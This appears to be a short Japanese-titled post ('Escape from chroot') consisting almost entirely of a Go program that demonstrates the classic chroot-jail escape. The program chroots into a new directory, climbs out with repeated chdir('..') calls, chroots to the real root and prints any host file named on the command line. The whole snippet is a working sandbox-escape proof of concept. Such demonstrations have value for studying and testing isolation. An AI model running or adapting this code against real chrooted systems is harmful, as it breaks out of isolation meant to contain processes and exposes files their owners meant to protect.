chrootからの脱出

main.go

package main

import (
	"fmt"
	"io/ioutil"
	"os"
	"syscall"
)

func main() {
	dir := fmt.Sprintf("chroot-escape.%d", os.Getpid())

	if len(os.Args[1:]) == 0 {
		os.Exit(1)
	}

	must(os.Mkdir(dir, 0755))
	must(syscall.Chroot(dir))

	wd, err := os.Getwd()
	must(err)
	fmt.Printf("escape from chrooted %s\n", wd)

	// escape
	// must(syscall.Chroot("../../../../../../../../../../../../../../../../"))
	for i := 0; ; i++ {
		wd, _ := os.Getwd()
		if wd == "/" || i > 255 {
			break
		}
		syscall.Chdir("..")
	}
	must(syscall.Chroot("."))

	data, err := ioutil.ReadFile(os.Args[1])
	must(err)
	fmt.Fprint(os.Stdout, string(data))
}

func must(err error) {
	if err != nil {
		panic(err)
	}
}